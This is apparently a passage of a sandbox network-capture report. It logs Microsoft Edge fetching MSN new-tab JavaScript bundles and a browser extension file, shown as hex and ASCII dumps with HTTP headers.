2025-02-01 20:59:22 UTC	15143	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 5d 2c 7b 39 38 34 38 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3b 6e 2e 64 28 74 2c 7b 47 63 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 59 33 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 7d 2c 61 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 2c 66 4b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 6b 78 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: 00006000"use strict";(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common"],{98489:function(e,t,n){var i;n.d(t,{Gc:function(){return a},Y3:function(){return d},aA:function(){return c},fK:function(){return s},kx:function(){r
2025-02-01 20:59:22 UTC	9445	IN	Data Raw: 6e 64 4d 75 73 65 75 6d 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 28 29 29 7d 73 68 6f 75 6c 64 53 68 6f 77 49 6d 61 67 65 49 6e 52 6f 74 61 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 73 69 6d 70 6c 65 53 63 68 65 64 75 6c 65 29 7b 76 61 72 20 65 3b 63 6f 6e 73 74 20 74 3d 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 73 69 6d 70 6c 65 53 63 68 65 64 75 6c 65 2c 6e 3d 74 26 26 74 5b 74 68 69 73 2e 64 61 79 4e 6f 77 5d 3b 69 66 28 6e 3e 2d 31 26 26 74 68 69 73 2e 76 61 6c 69 64 61 74 65 43 75 72 72 65 6e 74 49 6e 64 65 78 28 6e 29 26 26 6e 75 6c 6c 21 3d 3d 28 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 26 26 76 6f 69 64 20 30 21 3d 3d 65 26 26 65 2e 64 61 74 61 29 72 65 74 75 72 Data Ascii: ndMuseumCardProperties())}shouldShowImageInRotation(){if(this.backgroundImageWC.simpleSchedule){var e;const t=this.backgroundImageWC.simpleSchedule,n=t&&t[this.dayNow];if(n>-1&&this.validateCurrentIndex(n)&&null!==(e=this.config)&&void 0!==e&&e.data)retur
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 61 6d 65 3a 22 42 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 22 2c 74 79 70 65 3a 54 2e 63 39 2e 49 6e 74 65 72 61 63 74 69 6f 6e 2c 62 65 68 61 76 69 6f 72 3a 54 2e 77 75 2e 4e 61 76 69 67 61 74 65 2c 63 6f 6e 74 65 6e 74 3a 7b 68 65 61 64 6c 69 6e 65 3a 22 45 64 69 74 20 42 61 63 6b 67 72 6f 75 6e 64 22 7d 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 29 2c 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 65 64 57 43 53 74 61 74 65 53 79 6e 63 45 76 65 6e 74 45 6d 69 74 28 5b 7b 6b 65 79 3a 22 74 65 6c 65 6d 65 74 72 79 54 61 67 73 22 2c 76 61 6c 75 65 3a 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 54 61 67 73 7d 5d 29 2c 74 68 69 73 2e 69 6d 61 67 65 45 64 69 74 42 75 74 Data Ascii: 00006000ame:"BackgroundGalleryButton",type:T.c9.Interaction,behavior:T.wu.Navigate,content:{headline:"Edit Background"}}).getMetadataTag()),this.backgroundImageFixedWCStateSyncEventEmit([{key:"telemetryTags",value:this.telemetryTags}]),this.imageEditBut
2025-02-01 20:59:22 UTC	8204	IN	Data Raw: 22 54 69 74 6c 65 4c 69 6e 6b 22 2c 62 65 68 61 76 69 6f 72 3a 54 2e 77 75 2e 4e 61 76 69 67 61 74 65 2c 63 6f 6e 74 65 6e 74 3a 7b 68 65 61 64 6c 69 6e 65 3a 74 68 69 73 2e 6d 75 73 65 75 6d 43 61 72 64 2e 74 69 74 6c 65 2c 69 64 3a 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e 76 69 64 65 6f 49 64 2b 22 20 2d 20 22 2b 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e 63 75 72 72 65 6e 74 52 65 73 6f 6c 75 74 69 6f 6e 7d 2c 6f 76 65 72 72 69 64 65 44 65 73 74 69 6e 61 74 69 6f 6e 55 72 6c 3a 74 68 69 73 2e 6d 75 73 65 75 6d 43 61 72 64 2e 74 69 74 6c 65 55 52 4c 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 29 2c 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 65 64 57 43 53 74 61 74 65 53 79 6e 63 45 76 Data Ascii: "TitleLink",behavior:T.wu.Navigate,content:{headline:this.museumCard.title,id:this.videoProvider.videoId+" - "+this.videoProvider.currentResolution},overrideDestinationUrl:this.museumCard.titleURL}).getMetadataTag()),this.backgroundImageFixedWCStateSyncEv
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 74 69 6f 6e 4d 65 74 61 64 61 74 61 26 26 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 69 7d 2c 74 68 69 73 2e 69 73 50 6f 74 65 6e 74 69 61 6c 6c 79 4d 69 73 6d 61 74 63 68 65 64 46 6f 72 52 6f 74 61 74 69 6f 6e 3d 65 3d 3e 28 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 45 6c 69 67 69 62 69 6c 69 74 79 2c 74 68 69 73 2e 64 61 69 6c 79 52 6f 74 61 74 69 6f 6e 45 6e 61 62 6c 65 64 28 65 29 29 2c 74 68 69 73 2e 74 68 65 6d 65 43 68 61 6e 67 65 64 3d 28 29 3d 3e 7b 41 2e 48 2e 65 6e 71 75 65 75 65 28 28 28 29 3d 3e 7b 74 68 69 73 2e 69 73 44 61 72 6b 4d 6f 64 65 3d 28 30 2c 58 2e 59 29 28 29 7d 29 29 7d 2c 74 68 69 73 2e 68 61 6e 64 6c 65 49 6d 61 67 65 45 64 69 74 45 6d 69 74 4c 69 73 74 65 6e 65 72 3d 28 29 3d Data Ascii: 00004000tionMetadata&&"CMSImage"===i},this.isPotentiallyMismatchedForRotation=e=>(this.backgroundGalleryEligibility,this.dailyRotationEnabled(e)),this.themeChanged=()=>{A.H.enqueue((()=>{this.isDarkMode=(0,X.Y)()}))},this.handleImageEditEmitListener=()=
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 20 49 72 69 73 20 75 70 64 61 0d 0a Data Ascii: Iris upda
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 74 65 22 29 7d 73 61 76 65 42 61 63 6b 67 72 6f 75 6e 64 50 72 65 66 28 65 2c 74 29 7b 69 66 28 21 28 30 2c 5f 2e 4e 29 28 29 7c 7c 74 68 69 73 2e 64 69 73 70 6c 61 79 4d 61 72 71 75 65 65 41 64 7c 7c 22 45 72 72 6f 72 22 3d 3d 3d 65 7c 7c 22 45 76 65 6e 74 22 3d 3d 3d 65 7c 7c 22 68 65 72 6f 22 3d 3d 3d 65 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3b 63 6f 6e 73 74 20 69 3d 22 4e 6f 42 61 63 6b 67 72 6f 75 6e 64 22 3d 3d 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3b 69 66 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 45 76 65 6e 74 47 6c 65 61 6d 49 6d 61 67 65 26 26 74 68 69 73 2e 69 73 53 53 52 42 6b 67 64 29 7b 63 6f 6e 73 74 20 65 3d 28 29 3d 3e 7b 69 66 28 21 74 68 69 73 2e 65 76 65 6e 74 47 Data Ascii: 00004000te")}saveBackgroundPref(e,t){if(!(0,_.N)()\|\|this.displayMarqueeAd\|\|"Error"===e\|\|"Event"===e\|\|"hero"===e)return;let n;const i="NoBackground"===this.currentProvider;if(this.config.enableEventGleamImage&&this.isSSRBkgd){const e=()=>{if(!this.eventG
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 69 64 65 6f 20 63 6c 61 73 73 0d 0a Data Ascii: ideo class
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 22 76 69 64 65 6f 22 20 6c 6f 6f 70 20 6d 75 74 65 64 20 73 72 63 3d 22 24 7b 65 3d 3e 65 2e 76 69 64 65 6f 53 6f 75 72 63 65 7d 22 20 70 6f 73 74 65 72 3d 22 24 7b 65 3d 3e 65 2e 69 6d 61 67 65 53 6f 75 72 63 65 7d 22 20 40 63 61 6e 70 6c 61 79 74 68 72 6f 75 67 68 3d 24 7b 65 3d 3e 65 2e 70 6c 61 79 56 69 64 65 6f 28 29 7d 20 40 65 72 72 6f 72 3d 24 7b 65 3d 3e 65 2e 65 72 72 6f 72 28 65 2e 76 69 64 65 6f 53 6f 75 72 63 65 29 7d 20 24 7b 28 30 2c 6d 65 2e 69 29 28 22 72 65 66 5f 76 69 64 65 6f 22 29 7d 3e 3c 2f 76 69 64 65 6f 3e 60 2c 24 65 3d 66 65 2e 64 79 60 20 24 7b 28 30 2c 76 65 2e 67 29 28 28 65 3d 3e 65 2e 69 6d 61 67 65 53 6f 75 72 63 65 7c 7c 65 2e 76 69 64 65 6f 53 6f 75 72 63 65 29 2c 66 65 2e 64 79 60 20 24 Data Ascii: 00004000="video" loop muted src="${e=>e.videoSource}" poster="${e=>e.imageSource}" @canplaythrough=${e=>e.playVideo()} @error=${e=>e.error(e.videoSource)} ${(0,me.i)("ref_video")}></video>`,$e=fe.dy` ${(0,ve.g)((e=>e.imageSource\|\|e.videoSource),fe.dy` $
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 2c 66 3d 22 68 74 74 70 73 3a 0d 0a Data Ascii: ,f="https:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49902	2.23.209.3	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:22 UTC	630	OUT	GET /bundles/v1/edgeChromium/latest/experience.5734d85c965c30638bcf.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-02-01 20:59:22 UTC	1241	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: kVRVqw98DsIneFodwhUCvg== Last-Modified: Fri, 31 Jan 2025 20:50:36 GMT ETag: 0x8DD4238E9F496B0 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 270c7090-d01e-004a-1121-74f990000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 01 Feb 2025 20:59:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.62.213.116,b=712360370,c=g,n=DE_HE_FRANKFURT,o=20940] Server-Timing: clientrtt; dur=89, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.62.213.116 Akamai-Request-ID: 2a75c1b2 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.74d53e17.1738443562.2a75c1b2 Vary: Origin
2025-02-01 20:59:22 UTC	15143	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 69 2c 61 2c 72 3d 7b 32 33 38 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4b 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 69 3d 6e 28 36 35 31 37 35 29 2c 61 3d 6e 28 36 33 30 37 30 29 2c 72 3d 6e 28 33 39 30 30 31 29 2c 73 3d 6e 28 32 32 33 39 30 29 2c 64 3d 6e 28 34 34 38 38 36 29 2c 63 3d 6e 28 34 30 39 32 34 29 3b 76 61 72 20 6c 3d 6e 28 32 38 39 30 34 29 2c 70 3d 6e 28 39 39 34 35 32 29 2c 68 3d 6e 28 34 32 35 39 30 29 2c 75 3d 6e 28 39 34 35 33 37 29 2c 6d 3d 6e 28 38 35 32 30 35 29 2c 67 3d 6e 28 34 37 34 Data Ascii: 00006000!function(){var e,t,n,o,i,a,r={23865:function(e,t,n){"use strict";n.d(t,{S:function(){return K}});var o=n(33940),i=n(65175),a=n(63070),r=n(39001),s=n(22390),d=n(44886),c=n(40924);var l=n(28904),p=n(99452),h=n(42590),u=n(94537),m=n(85205),g=n(474
2025-02-01 20:59:22 UTC	9445	IN	Data Raw: 50 49 41 75 74 6f 53 75 67 67 65 73 74 42 6f 78 3d 21 31 2c 74 68 69 73 2e 64 65 6c 61 79 53 74 61 72 74 49 6e 69 74 41 50 49 41 75 74 6f 53 75 67 67 65 73 74 42 6f 78 3d 21 31 2c 74 68 69 73 2e 65 6e 61 62 6c 65 41 50 49 41 75 74 6f 53 75 67 67 65 73 74 69 6f 6e 73 3d 21 31 2c 74 68 69 73 2e 69 73 49 6e 70 75 74 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 61 63 74 69 6f 6e 45 6c 65 6d 65 6e 74 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 73 65 61 72 63 68 42 6f 78 54 65 6c 65 6d 65 74 72 79 54 61 67 73 3d 22 22 2c 74 68 69 73 2e 62 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 64 65 65 70 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 69 6e 70 75 74 54 65 6c 65 6d Data Ascii: PIAutoSuggestBox=!1,this.delayStartInitAPIAutoSuggestBox=!1,this.enableAPIAutoSuggestions=!1,this.isInputFocused=!1,this.actionElementFocused=!1,this.searchBoxTelemetryTags="",this.buttonTelemetryTag="",this.deepSearchButtonTelemetryTag="",this.inputTelem
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 68 3c 3d 31 29 72 65 74 75 72 6e 20 74 3b 6c 65 74 20 6e 3d 30 3b 64 6f 7b 63 6f 6e 73 74 20 65 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 74 68 69 73 2e 63 6f 6e 74 65 78 74 75 61 6c 53 75 67 67 65 73 74 69 6f 6e 4c 69 73 74 2e 6c 65 6e 67 74 68 29 3b 74 3d 74 68 69 73 2e 63 6f 6e 74 65 78 74 75 61 6c 53 75 67 67 65 73 74 69 6f 6e 4c 69 73 74 5b 65 5d 7d 77 68 69 6c 65 28 74 3d 3d 3d 74 68 69 73 2e 63 6f 6e 74 65 78 74 75 61 6c 53 75 67 67 65 73 74 69 6f 6e 54 65 78 74 26 26 2b 2b 6e 3c 3d 35 29 3b 72 65 74 75 72 6e 20 74 7d 2c 74 68 69 73 2e 68 61 6e 64 41 63 74 69 6f 6e 46 6f 63 75 73 45 76 65 6e 74 3d 28 29 3d 3e 7b 74 68 69 73 2e 61 63 74 69 6f 6e 45 6c 65 6d 65 6e 74 46 6f 63 75 73 65 Data Ascii: 00006000h<=1)return t;let n=0;do{const e=Math.floor(Math.random()*this.contextualSuggestionList.length);t=this.contextualSuggestionList[e]}while(t===this.contextualSuggestionText&&++n<=5);return t},this.handActionFocusEvent=()=>{this.actionElementFocuse
2025-02-01 20:59:22 UTC	8204	IN	Data Raw: 26 26 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 26 26 21 74 68 69 73 2e 65 6e 61 62 6c 65 41 50 49 41 75 74 6f 53 75 67 67 65 73 74 69 6f 6e 73 26 26 28 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 75 74 6f 73 75 67 67 65 73 74 52 65 6e 64 65 72 65 64 22 2c 74 68 69 73 2e 6f 6e 41 75 74 6f 73 75 67 67 65 73 74 52 65 6e 64 65 72 65 64 29 2c 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 75 74 6f 73 75 67 67 65 73 74 53 68 6f 77 6e 22 2c 74 68 69 73 2e 6f 6e 41 75 74 6f 73 75 67 67 65 73 74 53 68 6f 77 6e 29 2c 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e Data Ascii: &&this.formElement&&!this.enableAPIAutoSuggestions&&(this.formElement.removeEventListener("autosuggestRendered",this.onAutosuggestRendered),this.formElement.removeEventListener("autosuggestShown",this.onAutosuggestShown),this.formElement.removeEventListen
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 38 70 78 7d 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 35 30 38 70 78 7d 7d 24 7b 28 30 2c 50 2e 76 57 29 28 50 2e 4b 24 2e 63 34 2c 6e 75 6c 6c 29 7d 7b 23 73 72 63 68 66 72 6d 7b 77 69 64 74 68 3a 38 30 30 70 78 7d 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 37 34 30 70 78 7d 7d 60 29 2c 6e 65 77 20 55 2e 77 28 22 6c 61 72 67 65 72 53 65 61 72 63 68 42 6f 78 54 77 65 61 6b 22 2c 31 2c 4e 2e 69 60 20 40 6d 65 64 69 61 20 24 7b 28 30 2c 50 2e 61 4b 29 28 50 2e 4b 24 2e 63 33 2c 6e 75 6c 6c 29 7d 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 36 30 70 78 29 7b 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 35 34 38 70 78 7d 7d 40 6d 65 64 69 61 20 24 7b 28 30 2c 50 2e 61 4b 29 28 50 Data Ascii: 000040008px}.core,#sw_as{width:508px}}${(0,P.vW)(P.K$.c4,null)}{#srchfrm{width:800px}.core,#sw_as{width:740px}}`),new U.w("largerSearchBoxTweak",1,N.i` @media ${(0,P.aK)(P.K$.c3,null)} and (max-width:1060px){.core,#sw_as{width:548px}}@media ${(0,P.aK)(P
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 6f 72 64 65 72 3a 6e 6f 6e 65 0d 0a Data Ascii: order:none
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 70 78 20 31 2e 36 70 78 20 33 2e 36 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 33 29 2c 30 70 78 20 30 2e 33 70 78 20 30 2e 39 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 32 34 32 34 32 34 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 73 63 68 6d 73 6e 5f 73 73 62 74 6e 3a 68 6f 76 65 72 2c 23 73 63 68 6d 73 6e 5f 73 73 62 74 6e 3a 66 6f 63 75 73 2c 23 73 63 68 6d 73 6e 5f 73 73 62 74 6e 3a 61 Data Ascii: 00004000;box-shadow:0px 1.6px 3.6px 0px rgba(0,0,0,0.13),0px 0.3px 0.9px 0px rgba(0,0,0,0.1);background-color:#FFFFFF;font-size:14px;line-height:16px;color:#242424;cursor:pointer;white-space:nowrap}#schmsn_ssbtn:hover,#schmsn_ssbtn:focus,#schmsn_ssbtn:a
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 6f 6e 73 3a 7b 64 65 6c 65 67 0d 0a Data Ascii: ons:{deleg
2025-02-01 20:59:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 61 74 65 73 46 6f 63 75 73 3a 21 30 7d 7d 29 7d 2c 34 37 35 30 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 71 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 69 3d 6e 28 32 38 39 30 34 29 2c 61 3d 6e 28 34 32 35 39 30 29 2c 72 3d 6e 28 36 37 34 32 32 29 3b 63 6c 61 73 73 20 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 3d 65 7d 67 65 74 20 57 65 62 55 72 6c 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 77 65 Data Ascii: 00004000atesFocus:!0}})},47507:function(e,t,n){"use strict";n.d(t,{q:function(){return C}});var o=n(33940),i=n(28904),a=n(42590),r=n(67422);class s{constructor(e){this.response=e}get WebUrl(){var e;return null===(e=this.response)\|\|void 0===e?void 0:e.we
2025-02-01 20:59:22 UTC	12	IN	Data Raw: 22 3a 22 41 42 54 37 37 42 41 0d 0a Data Ascii: ":"ABT77BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49908	142.250.185.97	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:23 UTC	594	OUT	GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-02-01 20:59:23 UTC	563	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iHZWXpiqa79dIWJfOJG1f3CeliozjZh-UdD4ZLwJk_0if3YAp0UvRBX11_BBce7y4Mo Accept-Ranges: bytes Content-Length: 154255 X-Goog-Hash: crc32c=h1WfJw== Server: UploadServer Date: Sat, 01 Feb 2025 15:06:22 GMT Expires: Sun, 01 Feb 2026 15:06:22 GMT Cache-Control: public, max-age=31536000 Age: 21181 Last-Modified: Mon, 27 Jan 2025 15:06:06 GMT ETag: a86a306d_23d57464_4c7d5a09_6de01e8f_7a14f3d7 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-01 20:59:23 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: 2f c3 8f bf fc 98 3e eb ba 29 ae cd 9f c6 fa f3 4f 6f 67 55 ff f8 af 1f d7 f3 fb 50 cb bf 57 97 61 aa 87 e9 c7 5f fe f1 63 2c 1e ea 52 48 7d 7f fd 08 db d2 b4 0d c1 6d 23 33 9b a6 32 1b 55 3d 8e 4f dc ba 9e f3 7e fe ca cd e9 ad 32 d5 93 48 8f 4f e8 f0 d3 46 e7 fb 59 f8 6a 10 19 32 8e ed e5 ac ef 6f a2 96 9a c7 ef bf f7 ea 2a b2 e8 1c ab e9 97 e3 e0 36 d2 7f 3f c7 e7 e3 1c b5 ef b7 ca b7 87 ef 7b aa de f9 92 d0 b9 e4 19 ba 7c 7f 5e 98 88 8b 87 31 73 fe fe 48 bb 09 23 06 27 da 4f ad f0 51 5f f4 14 c8 85 1d 2b 10 22 04 c4 9e f4 e1 a3 08 c2 5d ed 0b 5b 3c 42 e7 14 5c cf 95 0f 8d 62 7f 7c 3a 2a e7 5a 9a a8 29 7d b6 9c 4c d8 9f 4c a0 2a 0b 35 c2 d4 d7 fd b8 94 e6 ee 7c da 87 8f d2 74 7e 9f e7 f7 bb 85 73 e1 a9 81 59 cd 21 85 0c 9d b8 f8 4a 7b 06 39 87 67 ce d5 Data Ascii: />)OogUPWa_c,RH}m#32U=O~2HOFYj2o6?{\|^1sH#'OQ_+"][<B\b\|:Z)}LL*5\|t~sY!J{9g
